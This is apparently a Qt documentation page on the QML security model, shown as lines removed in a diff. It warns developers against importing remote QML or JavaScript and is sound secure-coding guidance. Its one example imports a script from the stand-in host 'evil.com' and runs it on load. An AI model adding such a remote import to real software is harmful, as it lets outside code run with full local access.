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-/****************************************************************************
-**
-** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
-** Contact: http://www.qt-project.org/
-**
-** This file is part of the documentation of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:FDL$
-** GNU Free Documentation License
-** Alternatively, this file may be used under the terms of the GNU Free
-** Documentation License version 1.3 as published by the Free Software
-** Foundation and appearing in the file included in the packaging of
-** this file.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms
-** and conditions contained in a signed written agreement between you
-** and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*!
-\page qml-security.html
-\title QML Security
-\section1 QML Security
-\brief the security model in QML
-
-The QML security model is that QML content is a chain of trusted content: the user
-installs QML content that they trust in the same way as they install native Qt applications,
-or programs written with runtimes such as Python and Perl. That trust is establish by any
-of a number of mechanisms, including the availability of package signing on some platforms.
-
-In order to preserve the trust of users, developers producing QML content should not execute
-arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
-
-For example, this QML content:
-
-\qml
-import QtQuick 2.0
-import "http://evil.com/evil.js" as Evil
-
-Component {
- onLoaded: Evil.doEvil()
-}
-\endqml
-
-is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
-environment of QML does not try to stop any particular accesses, including local file system
-access, just as for any native Qt application, so the "doEvil" function could do the same things
-as a native Qt application, a Python application, a Perl script, etc.
-
-As with any application accessing other content beyond it's control, a QML application should
-perform appropriate checks on untrusted data it loads.
-
-A non-exhaustive list of the ways you could shoot yourself in the foot is:
-
-\list
- \li Using \c import to import QML or JavaScript you do not control. BAD
- \li Using \l Loader to import QML you do not control. BAD
- \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
-\endlist
-
-However, the above does not mean that you have no use for the network transparency of QML.
-There are many good and useful things you \e can do:
-
-\list
- \li Create \l Image elements with source URLs of any online images. GOOD
- \li Use XmlListModel to present online content. GOOD
- \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
-\endlist
-
-The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
-has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
-worry about working around them.
-*/